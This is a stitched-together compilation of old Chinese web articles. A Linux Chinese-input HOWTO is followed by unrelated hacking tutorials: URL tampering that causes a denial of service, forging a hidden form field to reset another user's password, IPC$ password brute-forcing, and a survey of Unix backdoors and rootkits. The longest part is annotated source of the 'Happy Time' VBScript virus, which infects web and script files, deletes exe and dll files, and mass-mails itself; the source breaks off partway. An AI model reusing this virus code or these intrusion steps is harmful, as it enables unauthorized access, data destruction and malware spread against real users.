rxvt*mfont: hanzigb16fs
rxvt*scrollstyle: next

重新启动 X-Window, 在命令行执行

# rxvt &

应该可以使用 Chinput 向其输入中文了!

3. 安装 vim-5.7-6

下载 vim-5.7-6.src.rpm

# rpm -ivh /path/to/your/vim-5.7-6.src.rpm
# cd /usr/src/redhat/SPECS

修改 vim.spec 文件, 在所有的 %configure ...处加上
--enable-multibyte --enable-fontset --enable-xim

# rpm -ba vim.spec 重新 build RPM包.

先删除原有的vim的RPM包
# rpm -e vim-common
# rpm -e vim-minimal

安装新的RPM包.
# cd /usr/src/redhat/RPMS/i386
# rpm -ihv vim*rpm

在你的主目录下的 .Xresource 文件中做如下的修改:
Vim.font: hanzigb16fs,-*-fixed-medium-r-normal--16-*-iso8859-1
Vim.fontSet: hanzigb16fs,-*-fixed-medium-r-normal--16-*-iso8859-1
Vim.fontList: hanzigb16fs

在 .gvimrc 文件中加入
set guifontset=hanzigb16fs,-*-fixed-medium-r-normal--16-*-iso8859-1

在 .vimrc 文件中加入
set fileencoding=prc

重新启动 X-Window, 在命令行执行

# chinput &
# rxvt &

在 rxvt 终端中执行

# gvim &

应该可以输中文了.Chinput的输入条自动在gvim的最下端,加上光标的跟随输入,
真是太棒了!!

4. 安装 Xemacs

下载相关的软件包.
安装前先将xemacs-mule-sumo.tar.gz和xemacs-sumo.tar.gz解压缩到
/usr/local/lib/xemacs 路径下.

# cd /tmp
# tar zxvf /path/to/your/xemacs-21.2.35.tar.gz
# cd xemacs-21.2.35

修改 lisp/mule/mule-init.el 文件中的 ("^zh" . "Chinese")
为 ("^zh" . "Chinese-GB")

# ./configure --with-mule --with-xim=xlib
# make
# make install

重新启动 X-Window, 在命令行执行

# chinput &
# xemacs &

怎么样? Linux 下最棒的文本编辑器,还需要多说甚么呢?

5. 配置 Netscape

RedHat 7.0 安装的是 Netscape 4.75, 其默认设置已经对
中文有一定的支持了,只需在你的主目录下的 .Xresource 文件
中加入下面的几行:

Netscape*versionLocale: zh_CN
Netscape*defaultCharset:gb2312

Netscape*fontList:\
-adobe-helvetica-medium-r-*--14-*-*-*-*-*-*-*;\
-isas-*-*-*-*--14-*-*-*-*-*-*-*:

Netscape*XmTextField.fontList:\
-adobe-helvetica-medium-r-*--14-*-*-*-*-*-*-*;\
-isas-*-*-*-*--14-*-*-*-*-*-*-*:

Netscape*XmText.fontList:\
-adobe-helvetica-medium-r-*--14-*-*-*-*-*-*-*;\
-isas-*-*-*-*--14-*-*-*-*-*-*-*:

Netscape*inputMethod: Chinput
Netscape*preeditType: root

以上配置可以很好地在 Netscape 中显示中文了,在 FORM 中的显示也
很令人满意.最主要的是可以通过 Chinput 向其对话框中输入中文了!!!

四 致谢

感谢马军先生等提供了 Unicon 解决方案.
感谢于明检先生等开发的 Chinput 中文输入服务器.
感谢所有热心和致力于 Linux 国际化和中文化的开发人员和用户.

感谢 China Linux Forum 中文化论坛的各位同好,本文直接和间接得益于
他们的讨论和发表的文章. 仅列若干篇如下:

1. RH7-Unicon3-tiny-HOWTO 作者: Wu Yulun
2. REDHAT7+TrueType+Chinput3.0.1 HOWTO 作者: dircls
3. RedHat7-Chinput3-tiny-HOWTO 作者: Wu Yulun
4. RH7.0+KDE+Chinput3.0-1 作者: hucheng
5. RedHat6.2中文显示与输入详细步骤 作者: moonlight
6. Mandrake7.2中文化 作者: younker
7. Mandrake中文化初探 作者: highsun
8. Mandrake7.1下使用Chinput3.0(v0.02) 作者: sharc
9. RH7 GVim5.7 中文输入 Tiny HOWTO 作者: yihan
10.关于Netscape中文化的问题 作者: Wu Yulun

阅读：2782次

来源：中国LINUX论坛


黑客攻击技巧--国内著名网站程序漏洞

作者：妖狐安全资讯网

    近来对系统漏洞,已经没什么兴趣了. 因为现在补丁出得很快.大型网站已经没什么系统问题了. 就算你使用twwwscan,namp等威力挺强的扫描器也不可能扫描出什么东东,有,也是欺骗的.但,所谓百密必有一疏.越大的网站需要的脚本也越多.而脚本是靠个人能力写出来的.能力不够,其安全一定存在问题.如果使用免费的脚本，那问题更是多多. 如果原代码容易得到.侵入起来太简单了.

强烈建议：不要使用免费的脚本程序.用了也要注意修改安全上的问题.

WEB脚本大致分为html,asp,cgi,php,jsp,xml,pl...等等.
其中cgi的问题居多,它是比较早期的脚本程序.所以对它的研究也就相对较多.
html则是最安全的.因为它功能最少,脚本也相对少.

最近对一些大型网站（由于某些原因，略去域名）测试了一下.也发现了几个脚本上的问题(现已修复)
http://bbs.xxxxxx.com/cgi-bin/user_interface?Pgroup_id=10322
将其修改
http://bbs.xxxxxx.com/cgi-bin/user_interface?Pgroup_id=***
将会暴露绝对路径(可能为了方便调试用,很多站点都有这问题)
Fail To Load HTML Template File: Fail To Open Template File:/usr/local/oiweb/htdocs
/club/community/***.htm
接下来
http://bbs.xxxxxx.com/cgi-bin/user_interface?Pgroup_id=//////////////////////////////
///////
长文件名试试^_^,哈...暴露内部IP了.
Fail To Load HTML Template File: Fail To Open Template File:/usr/local/oiweb/htdocs/club/community//////////////////////////////////////////
//////////192.168.10.30.htm
再来
http://bbs.xxxxxx.com/cgi-bin/user_interface?Pgroup_id='ls'
出现了SQL处理错误.可惜,没去测试怎利用.
最后
http://bbs.xxxxxxx.com/cgi-bin/user_interface?Pgroup_id=/////////////////////////////
/////////////////////////////////////////////////////////////////////////////
超长文件名攻击(apache对长文件名url很容易出问题)
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, webmaster@tencent.com and inform them of the time the error　occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log.
--------------------------------------------------------------------------------
Apache/1.3.12 Server at bbs.xxxxxx.com Port 80
:),拒绝服务了.估计只是xxx.xxx.xx.xx出问题:),
拒绝服务后,上面方法测试都已经失效.其它服务正常.
(当时还以为马上打了补丁呢^_^)
这漏洞没什么用处,只是知道即使大型得网站也有BUG,呵呵^_^

后来又对另外一家大型网站进行了测试:)

http://training.yyyyyy.com/
测试了几个认证漏洞.包括那1' or passwd 〈〉 '1
都没成功:)后来注册了一个redh,登陆进去:)
看来看去都没什么...
接着选了修改[修改个人信息]
进去一看,就发现问题了:)
里面竟然可以直接修改密码,并且还有user cookie
OK,既然发现了,当然是操作了:)
打开原代码-〉搜索一下-〉post
〈form method="post" name=form1 id=form1 action="Myschool/StudentUpdate1.asp"〉
找到这行,对action修改一下
〈form method="post" name=form1 id=form1 action="http://training.yyyyyy.com/Myschool/StudentUpdate1.asp"〉
然后再找username
〈tr〉〈td width="16%" class=bt align=right〉* 用户名：〈/td〉
〈td width="32%" class=nr align=left〉redh〈/td〉//用户名:)
改成sp.(你要改的用户名)
然后保存成a.htm
运行后,把密码设置成123(看你喜欢了)
post过去...恩,跳到主页了..没成功..
然后我又看了一下原代码..
看了这个:
〈input type=hidden name=Customer value="redh"〉
:)原来cookie跑这了..
OK,修改一下..
〈input type=hidden name=Customer value="sp"〉
再post,哈...成功了..
登陆sp,123^_^进去了.看一下资料修改.跟修改时写得一样.
---------------------------------------------
    想说一下,一个大型网站只要有使用大量脚本程序.肯定存在XX问题的.这问题或许由于疏忽,也许由于写作功力不足引起的.只要你耐心的找.就会发现.当然对语言肯定也要熟悉的.你不可能说对CGI一点都不会,但去发现它的问题吧.对网站想说:
1,少用免费的东东,便宜没好货.
2,对安全问题一定要注意.小的疏忽就可能造成大的安全问题

--------------------------------------------------------------------------

黑客实用技术--基于IPC$的攻击
2001-03-21· abu·yesky
一、nmapNT 的使用

开始的时候我也纳闷，为什么很多人都喜欢用nmap，有那么多扫描工具，比如superscan portscanner 之类。后来才明白，nmap的强大（半开模式扫描、系统甄别、、）愿意仔细看看的朋友可以去安全焦点看quack烂人翻译的nmap使用说明。

我用的是WIN2K，不过习惯性的更愿意在命令行下，eEye公司出了nmapNT版，自然不能放过：

look:

倒，没注意，图片这么大。

上面的是第一步，安装协议，这个。。原因嘛。。

这个软件需要WinPcap包，就是类似与libpcap的包，支持WIN32平台。可以进行信息包捕获和网络分析,是基于UNIX的libpcap和BPF（Berkeley 分帧过滤器）模型的包。

它包括内核级的包过滤驱动程序，低级动态连接库(packet.dll),和高级系统无关性库(libpcap）。

这个WinPcap信息包捕获启动程序可把设备驱动增加在Windows 95, Windows 98, Windows NT 和 Windows 2000 上，可以有能力捕获和发送通过原始套接口的信息包（raw packets),Packet.dll是一个能用来直接访问BPF驱动程序的API。

WinPcap在http://netgroup-serv.polito.it/windump和http://netgroup-serv.polito.it/analyzer这两个工具中成功应用。

最新的WinPcap支持了WIN2000。具体信息和源代码可以在下面这个站点找到http://netgroup-serv.polito.it/winpcap/

等等。。。不多说了，找到了吧。。
look:

确定拉。。

look，多了一个吧

转到命令行，对了，还要重启。。比较麻烦。

命令行运行，WK，I服了U！果然和UNIX的一样（起码看起来一样）

-sS SYN 扫描端口
look:

标准的WINDOWS NT服务器。

今天说IPC$，别的就不说了。。

二、letmein 的使用

获取对方用户列表 letmein -all -d 参数（display嘛）

16个用户，OK，开始尝试简单密码？OK，-g参数（guess？反正就是简单猜测拉）

那，这是过程，不过注意最下面。。。

是的，发现Guest用户，密码是空的。

看admin组有那些用户

看清楚了么？

反正实质内容没多少，过程倒是拍了好多照片哦，呵呵

上面说的就是使用letmein 探测对方用户列表以及了解更多信息

OK

开始破解密码，当然，是通过IPC$方式。。

三、NAT破解密码

啊呀，说了老半天，IPC$没说。

IPC$共享不是一个目录，磁盘或打印机意义上的共享。你看到的"$"，它是默认的在系统启动时的admin共享。IPC是指"InterProcess Communications"。

IPC$共享提供了登录到系统的能力。注意，你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。

使用NT自带的命令就可以对IPC$实施攻击：

c:>net use \\[目标机器的IP地址]\ipc$ /user:

当这个连接建立后，要将username和password送去加以确认。如果你把name设为某一用户，不断变换passwd就起到了破解的作用

c:>net use \\206.204.38.210\ipc$ /user:

破解这个密码，可以用的工具很多，比如常见的小榕软件的流光拉，NAT拉，ipccrack拉

该他这个用户倒霉，我来跑techserv这个用户的密码，不过。。习惯性喜欢用命令行的。。

NAT

NAT这个软件很老很老了。。不知道还有没有人用。。不过我还是喜欢。仔细看上面。我做了一个USERLIST用户列表 和PASSLIST密码档（字典拉）然后开始了，然后是一堆废话（细心的人可以看见很多东西）需要注意的就只有。。

[*]--- CONNECTED: Username: `techserv` Password: `1234`

看见了吧，密码出来了（呵呵，当然这是被我改过的，啊呀，写教材呀，又不是要如何如何现实生活中，很大一种可能是跑好久也跑不出来。。）

再仔细看看。。

知道了密码还不连上去？。。

net use连拉

OK了


黑客教学篇之后门

通常我们在得到一个主机的控制权后，总是考虑下次如何轻易的能再次进来，而不需要每次都重复复杂的漏洞利用，也有可能系统管理员发现了漏洞及时的补上了呢。那么我们需要安装backdoor（后门），这样只要管理员没有发现被入侵或没有发现我们的后门，下次就可以非常轻松的进来了。在这我们介绍一些常用的后门。

Rhosts + + 后门

在unix系统里，一些Rsh、Rlogin通过基于rhosts文件的简单认证。在某个帐户的home下的rhosts文件里加上一行++，那么任何人任何机器都可以不需要密码登陆这个帐户了。

校验和与时间戳 后门

严格的讲，这只是一个隐藏后门的方法。我们通常用自己写的木马来代替系统原来的一些可执行文件来达到后门的效果。许多管理员通过时间戳和校验和来检查是否存在这样的木马。我们可以通过一些小技巧来很容易的欺骗，一个简单的程序通过修改系统时钟就能使文件的时间戳和原始一样，至于校验和是用CRC，更加容易伪造了。所以系统管理员还是定期用MD5 校验和来检查文件吧。起码不可能伪造MD5的校验和。

Login 后门

这个是最常用的后门了，我们可以用login.c的源代码改一改，编译一下，替代原来的login，功能就是先检查我设定的密码，如果对的话，不去比较系统密码，直接进入，而对于其他用户来说和原来的login用起来感觉是一样的。而且在程序上可以不必记录utmp和wtmp，那么你用后门密码进去的时候就是隐形的了。为了防止strings命令显示出login的文本内容，从而暴露backdoor的后门密码。那么在改login.c的时候就得加密或隐藏口令了。但管理员还是可以用MD5校验和来发现这类后门。

Telnetd 后门

当inetd守护程序发现有telnet连接，就交给in.telnetd处理，进入login程序。在in.telnetd处理时通常检测一些其他信息，例如终端类型是Xterm还是vt100等，我们可以修改in.telnetd在这加一个类型hole,当我们选择hole时，系统将自动给个shell，而不需要认证。

Services 后门
每个服务都可以被利用来当作后门，象什么finger,rsh,rexec,rlogin,ftp,inetd...。这和那些开放某个
端口提供shell的后门程序没什么差别，只是隐蔽一点罢了。当然你可以修改inetd.conf加一些伪装成某
个服务的程序，名字可以是uutcp...等具有伪装性的。

Crontab 后门
Crontab使unix系统在特定的时间内执行指定的程序。我们可以让系统在每天的特定时间运行我们的指定
开放port的shell程序。当然系统管理员也会检查/usr/spool/cron/crontabs/下的文件来看有没有安排后门的存在。所以通过修改那些正常的cron程序，可以达到隐蔽的目的。

Library 后门
几乎所有的unix系统使用共享库文件，共享一些常用的调用。
通常我们在crypt.c和_crypt.c中安置后门程序。login.c使用crypt(),如果在里头安置后门的话，在调用
Crypt()时，可以跳过校验，直接给出shell.这样就是管理员用MD5检验login程序也不会发现我们的后门了。如果管理员MD5检查所有的文件，难免会发现这些问题。但我们还有一个方法，我们知道无论是什么程序，它都需要调用open()和其他的文件存取函数，如果我们能在这些上面做文章，那么当MD5执行时读取的是原来的文件，但执行的却是我们的后门程序，所以MD5看到的校验和是没有问题的。

kernel 后门

可装载内核后门是最难发现而且难度最高的了。具体的描述可以参看w00w00著名的Linux Kernel Module (LKM) Hacking。
http://www.w00w00.org/files/articles/lkmhack.txt

File system 后门
我们通常为了隐藏一些自己的后门程序、exploit程序、工具等文件，一般是采用.目录的隐藏方式。但很容易被发现，所以修改一些象ls、du、fsck等程序达到隐藏的目的要更好一些。
如果更狠一点，就可以把文件放在磁盘的块标志成坏的，并且采用特殊的文件系统格式，只有特定的程序才能读出，这样也可以达到很好的隐藏效果。 Bootblock 后门
在PC中病毒有一种类型叫引导型病毒，通过修改引导区程序来达到隐藏和执行的目的。当然有许多杀毒程序也能查杀这些病毒。但在unix中，很少有管理员会使用软件来检查引导区，所以把后门放到引导区也是一个很有用的方法。

进程隐藏 后门
为了不让管理员用ps发现我们后门程序运行的进程
一般有几种方法：
1、通过修改argv[]来使程序看起来象另一个进程。
2、改名成和系统进程类似的名字。
3、修改ps，使ps看不见。
4、利用amodload之类的程序，内核加入可装载模块来实现后门。

Rootkit
由许多工具构成的后门工具集。有一些这样的模块构成：
修改系统日志 utmp wtmp lastlog。
sniffer,passcracker。
欺骗时间戳和crc校验。
修改login
修改 ifconfig 的 PROMISC标志的输出。使检测不到分乱模式。
修改ps使发现不了进程。
隐藏使用的磁盘空间。
隐藏所有的rootkit文件。

TCP Shell 后门
最常见的后门了，一个程序listen端口，连接后给出shell.
容易被发现，netstat一看就知道了。

UDP Shell 后门
基于udp传输的后门，原理tcp shell后门差不多。

ICMP Shell 后门
通过ICMP协议建立pipe来实现通讯的后门。 在社区公告栏收集的旧帖子里就有一个很好的例子。

ACK Shell后门
通过TCP中ACK数据片来进行通讯的后门。这个比较有意思，能避过许多防火墙，天网也不例外。

好了，就写这么多吧，关于每个后门的实现，以后再详细的找几个程序刨析了。


黑客主要手段和攻击方法

    （一）黑客常用手段

    1、网络扫描--在Internet上进行广泛搜索，以找出特定计算机或软件中的弱点。

    2、网络嗅探程序--偷偷查看通过Internet的数据包，以捕获口令或全部内容。通过安装侦听器程序来监视网络数据流，从而获取连接网络系统时用户键入的用户名和口令。

    3、拒绝服务 -通过反复向某个Web站点的设备发送过多的信息请求，黑客可以有效地堵塞该站点上的系统，导致无法完成应有的网络服务项目(例如电子邮件系统或联机功能)，称为“拒绝服务”问题。

    4、欺骗用户--伪造电子邮件地址或Web页地址，从用户处骗得口令、信用卡号码等。欺骗是用来骗取目标系统，使之认为信息是来自或发向其所相信的人的过程。欺骗可在IP层及之上发生（地址解析欺骗、IP源地址欺骗、电子邮件欺骗等）。当一台主机的IP地址假定为有效，并为Tcp和Udp服务所相信。利用IP地址的源路由，一个攻击者的主机可以被伪装成一个被信任的主机或客户。

    5、特洛伊木马--一种用户察觉不到的程序，其中含有可利用一些软件中已知弱点的指令。

    6、后门--为防原来的进入点被探测到，留几个隐藏的路径以方便再次进入。

    7、恶意小程序--微型程序，修改硬盘上的文件，发送虚假电子邮件或窃取口令。

    8、竞争拨号程序--能自动拨成千上万个电话号码以寻找进入调制解调器连接的路径。逻辑炸弹计算机程序中的一条指令，能触发恶意操作。

    9、缓冲器溢出-- 向计算机内存缓冲器发送过多的数据，以摧毁计算机控制系统或获得计算机控制权。

    10、口令破译--用软件猜出口令。通常的做法是通过监视通信信道上的口令数据包，破解口令的加密形式。

    11、社交工程--与公司雇员谈话，套出有价值的信息。

    12、垃圾桶潜水--仔细检查公司的垃圾，以发现能帮助进入公司计算机的信息。

    （二）黑客攻击的方法：

    1、隐藏黑客的位置
    典型的黑客会使用如下技术隐藏他们真实的IP地址:
    利用被侵入的主机作为跳板;
    在安装Windows 的计算机内利用Wingate 软件作为跳板;利用配置不当的Proxy作为跳板。
    更老练的黑客会使用电话转接技术隐蔽自己。他们常用的手法有:利用800 号电话的私人转接服务联接ISP, 然后再盗用他人的账号上网;通过电话联接一台主机,再经由主机进入Internet。
    使用这种在电话网络上的"三级跳"方式进入Internet 特别难于跟踪。理论上,黑客可能来自世界任何一个角落。如果黑客使用800号拨号上网,他更不用担心上网费用。

    2、网络探测和资料收集
    黑客利用以下的手段得知位于内部网和外部网的主机名。
    使用nslookup 程序的ls命令;
    通过访问公司主页找到其他主机;
    阅读FTP服务器上的文挡;
    联接至mailserver 并发送 expn请求;
    Finger 外部主机上的用户名。
    在寻找漏洞之前,黑客会试图搜集足够的信息以勾勒出整个网络的布局。利用上述操作得到的信息,黑客很容易列出所有的主机,并猜测它们之间的关系。

    3、找出被信任的主机
    黑客总是寻找那些被信任的主机。这些主机可能是管理员使用的机器,或是一台被认为是很安全的服务器。
    一步,他会检查所有运行nfsd或mountd的主机的NFS输出。往往这些主机的一些关键目录(如/usr/bin、/etc和/home)可以被那台被信任的主机mount。
    Finger daemon 也可以被用来寻找被信任的主机和用户,因为用户经常从某台特定的主机上登录。
    黑客还会检查其他方式的信任关系。比如,他可以利用CGI 的漏洞,读取/etc/hosts.allow 文件等等。
    分析完上述的各种检查结果,就可以大致了解主机间的信任关系。下一步, 就是探测这些被信任的主机哪些存在漏洞,可以被远程侵入。

    4、找出有漏洞的网络成员
    当黑客得到公司内外部主机的清单后,他就可以用一些Linux 扫描器程序寻找这些主机的漏洞。黑客一般寻找网络速度很快的Linux 主机运行这些扫描程序。
    所有这些扫描程序都会进行下列检查:
    TCP 端口扫描;
    RPC 服务列表;
    NFS 输出列表;
    共享(如samba、netbiox)列表;
    缺省账号检查;
    Sendmail、IMAP、POP3、RPC status 和RPC mountd 有缺陷版本检测。
    进行完这些扫描,黑客对哪些主机有机可乘已胸有成竹了。
    如果路由器兼容SNMP协议,有经验的黑客还会采用攻击性的SNMP 扫描程序进行尝试, 或者使用"蛮力式"程序去猜测这些设备的公共和私有community strings。

    5、利用漏洞
    现在,黑客找到了所有被信任的外部主机,也已经找到了外部主机所有可能存在的漏洞。下一步就该开始动手入侵主机了。
    黑客会选择一台被信任的外部主机进行尝试。一旦成功侵入,黑客将从这里出发,设法进入公司内部的网络。但这种方法是否成功要看公司内部主机和外部主机间的过滤策略了。攻击外部主机时,黑客一般是运行某个程序,利用外部主机上运行的有漏洞的daemon窃取控制权。有漏洞的daemon包括Sendmail、IMAP、POP3各个漏洞的版本,以及RPC服务中诸如statd、mountd、pcnfsd等。有时,那些攻击程序必须在与被攻击主机相同的平台上进行编译。

    6、获得控制权
黑客利用daemon的漏洞进入系统后会做两件事:清除记录和留下后门。
    他会安装一些后门程序,以便以后可以不被察觉地再次进入系统。大多数后门程序是预先编译好的,只需要想办法修改时间和权限就可以使用,甚至于新文件的大小都和原有文件一样。黑客一般会使用rcp 传递这些文件,以便不留下FTP记录。
    一旦确认自己是安全的,黑客就开始侵袭公司的整个内部网

    7．窃取网络资源和特权
    黑客找到攻击目标后,会继续下一步的攻击,步骤如下:
    （1）下载敏感信息
    如果黑客的目的是从某机构内部的FTP或WWW服务器上下载敏感信息,他可以利用已经被侵入的某台外部主机轻而易举地得到这些资料。
    （2）攻击其他被信任的主机和网络
    大多数的黑客仅仅为了探测内部网上的主机并取得控制权,只有那些"雄心勃勃"的黑客,为了控制整个网络才会安装特洛伊木马和后门程序,并清除记录。 那些希望从关键服务器上下载数据的黑客,常常不会满足于以一种方式进入关键服务器。他们会费尽心机找出被关键服务器信任的主机,安排好几条备用通道。
    （3）安装sniffers
    在内部网上,黑客要想迅速获得大量的账号(包括用户名和密码),最为有效的手段是使用"sniffer" 程序。
    黑客会使用上面各节提到的方法,获得系统的控制权并留下再次侵入的后门,以保证sniffer能够执行。
    （4）瘫痪网络
    如果黑客已经侵入了运行数据库、网络操作系统等关键应用程序的服务器,使网络瘫痪一段时间是轻而易举的事。
    如果黑客已经进入了公司的内部网,他可以利用许多路由器的弱点重新启动、甚至关闭路由器。如果他们能够找到最关键的几个路由器的漏洞,则可以使公司的网络彻底瘫痪一段时间。


欢乐时光源码

‘*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
‘以上为病毒入口，并加上I am sorry! happy time的注释，以表明此文件已被感染过。

Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Sh*ll .Application")
‘建立枚举对象，避开了安全审核
If IsHTML Then
‘调用IsHtml函数，如果是Html，就小写……
  mURL = LCase(document.Location)
  If mPath = "" Then
    Os.Reset
    Os.Path = "C:\Help.htm"
    Os.Doc = Lhtml()
Os.Write()
‘如果mPath为空，就在C盘下生成Help.htm
Ihtml = ""
‘超文本的内容，并指向C:\Help.Htm
    Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
  Else
    If Iv(mPath, "Help.vbs") Then
       setInterval "Rt()", 10000
    Else
       m = "hta"
       If LCase(m) = Right(mURL, Len(m)) Then
         id = setTimeout("mclose()", 1)
‘设置超时条件
         main
       Else
         Os.Reset()
         Os.Path = mPath & "\" & "Help.hta"
         Os.Doc = Lhtml()
         Os.write()
         Iv mPath, "Help.hta"
‘生成Help.hta
       End If
    End If
  End If
Else
  Main
‘都不是，就执行main函数
End If
End Sub

‘******************************************************************
‘以下为主函数，太长了！
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
‘不用说，创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
‘创建Dictionary对象, 用来保存数据键和项目对，它实际上是一个比较开放的数组
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
‘向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USER\Software\"
‘使用变量以减少代码长度
Ds = Grf()
Cs = Gsf()
If IsVbs Then
‘如果是VBS
  If Of.FileExists("C:\help.htm") Then
     Of.DeleteFile ("C:\help.htm")
‘如果c:\help.htm存在，就删掉，消灭遗留的痕迹
  End If
  Key = CInt(Month(Date) + Day(Date))
  If Key = 13 Then
‘如果月与日之和为13（这也是它变种多的原因——将13改为其他数字即可）
    Od.RemoveAll
    Od.Add "exe", "0001"
    Od.Add "dll", "0001"
‘就清空Dictionary数组，并将exe、dll加入Dictionary 对象，以备删除之用
  End If
  Cn = Rg(Ks & "Help\Count")
‘读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值
  If Cn = "" Then
Cn = 1
‘如果Count为0，就设为1
  End If
  Rw Ks & "Help\Count", Cn + 1
‘添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2
  f1 = Rg(Ks & "Help\FileName")
‘再读HKEY_CURRENT_USER\Software\Help\FileName键值
  f2 = FNext(Of, Od, f1)
‘得到该文件的文件名
  fext = GetExt(Of, Od, f2)
‘得到该文件扩展名的代号
  Rw Ks & "Help\FileName", f2
‘添加键值
  If IsDel(fext) Then
‘如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2
‘储存文件名
f2 = FNext(Of, Od, f2)
‘得到文件的文件名？
Rw Ks & "Help\FileName", f2
‘写注册表
Of.DeleteFile f3
‘删除文件
  Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
‘如果不是集合中的文件
    Fw Of, f2, fext
    End If
  End If
  If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
‘使用 Cint函数强制执行转换，并发邮件
      Tsend
    Else
      adds = Og
      Msend (adds)
    End If
  End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
  If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
  ‘比较桌面墙纸是否已改变
  If wp = "" Then
      n1 = ""
      n3 = Cs & "\Help.htm"
    Else
      mP = Of.GetFile(wp).ParentFolder
      n1 = Of.GetFileName(wp)
      n2 = Of.GetBaseName(wp)
      n3 = Cs & "\" & n2 & ".htm"
    End If
    Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
‘创建超文本
    pfc.Write "<" & "HTML><" & "body bgcolor=‘#007f7f‘ background=‘" & n1 & "‘><
" & "/Body><" & "/HTML>" & mt
‘超文本的内容
    pfc.Close
    Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
‘将带毒的超文本设置成活动桌面
  End If
Else
  Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
  fc.Write Sa("0100")
‘创建vbs文件
  fc.Close
  bf = Cs & "\Untitled.htm"
  Set fc2 = Of.CreateTextFile(bf, True)
  fc2.Write Lhtml
  fc2.Close
‘创建windows下的untitled.htm
  oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
  oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook E
  xpress\5.0\Mail"
  MSH = oe & "\Message Send HTML"
  CUS = oe & "\Compose Use Stationery"
  SN = oe & "\Stationery Name"
  Rw MSH, 1
  Rw CUS, 1
  Rw SN, bf
‘在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向windows\untitled.htm
  Web = Cs & "\WEB"
  Set gf = Of.GetFolder(Web).Files
‘得到windows\web文件夹里的文件
  Od.Add "htt", "1100"
‘向Dictionary里添加htt项目对
  For Each m In gf
‘遍历windows\web下的每一个文件
fext = GetExt(Of, Od, m)
‘得到每个文件的扩展名
If fext <> "" Then
‘如果扩展名不为空，则
      Fw Of, m, fext
    End If
  Next
End If
End Sub

‘******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!‘写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub

‘******************************************************************
Sub Fw(Of, S, n)
‘此时S为文件名，n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
‘只读模式打开该文件
mt = fc.ReadAll
‘读入全部文件流
fc.Close
‘关闭文件
If Not Sc(mt) Then
‘如果未感染过
  mmail = Ml(mt)
  mt = Sa(n)
  Set fc2 = Of.OpenTextFile(S, 8)
‘打开文件并在文件末尾进行写操作
  fc2.Write mt
  fc2.Close
  Msend (mmail)
‘发带毒邮件
End If
End Sub

‘******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
‘如果读入的文件流中有Rem I am sorry! happy time
  Sc = True
Else
  Sc = False
‘表示已感染过，返回True,否则为False
End If
End Function

‘******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
‘初始化变量
If Of.FileExists(S) Then
‘如果S存在于当前文件夹中
  fpath = Of.GetFile(S).ParentFolder
‘得到文件的父目录名
  fname = S
‘得到文件名
ElseIf Of.FolderExists(S) Then
‘不存在于当前文件夹中，则得到目录名
  fpath = S
  T = True
Else
  fpath = Dnext(Of, "")
‘得到当前盘符——即根目录
End If
Do While True
  Set gf = Of.GetFolder(fpath).Files
‘得到当前目录下的所有文件对象
  For Each m In gf
‘遍历每个文件
    If T Then
      If GetExt(Of, Od, m) <> "" Then
‘如果该文件是文件集合中的一员
        FNext = m
‘则返回该文件名，供调用的函数或过程使用——感染或删除之
      Exit Function
      End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
‘如果没文件
      T = True
    End If
  Next
  fpath = Pnext(Of, fpath) ‘
Loop
End Function

‘******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
‘如果如果指定的文件夹存在
  Set gp = Of.GetFolder(S).SubFolders
‘就得到子目录数
  pn = gp.Count
  If pn = 0 Then
‘如果没子目录
    Ppath = LCase(S)　 ‘
Npath = LCase(Of.GetParentFolderName(S))
‘得到父目录的小写形式
    T = True
  Else
Npath = LCase(S)
‘有子目录，得到其小写形式的集合
  End If
  Do While Not Er　 ‘
For Each pn In Of.GetFolder(Npath).SubFolders
‘得到子目录下的子目录
      If T Then
        If Ppath = LCase(pn) Then
          T = False
        End If
      Else
        Pnext = LCase(pn)
        Exit Function
      End If
    Next
    T = True
Ppath = LCase(Npath)
‘将字符串转化成小写
    Npath = Of.GetParentFolderName(Npath) ‘
If Of.GetFolder(Ppath).IsRootFolder Then
‘如果是根目录
      m = Of.GetDriveName(Ppath)
‘就得到分区符
      Pnext = Dnext(Of, m)
      Exit Function
    End If
  Loop
End If
End Function

‘******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
‘得到所有的驱动器盘符
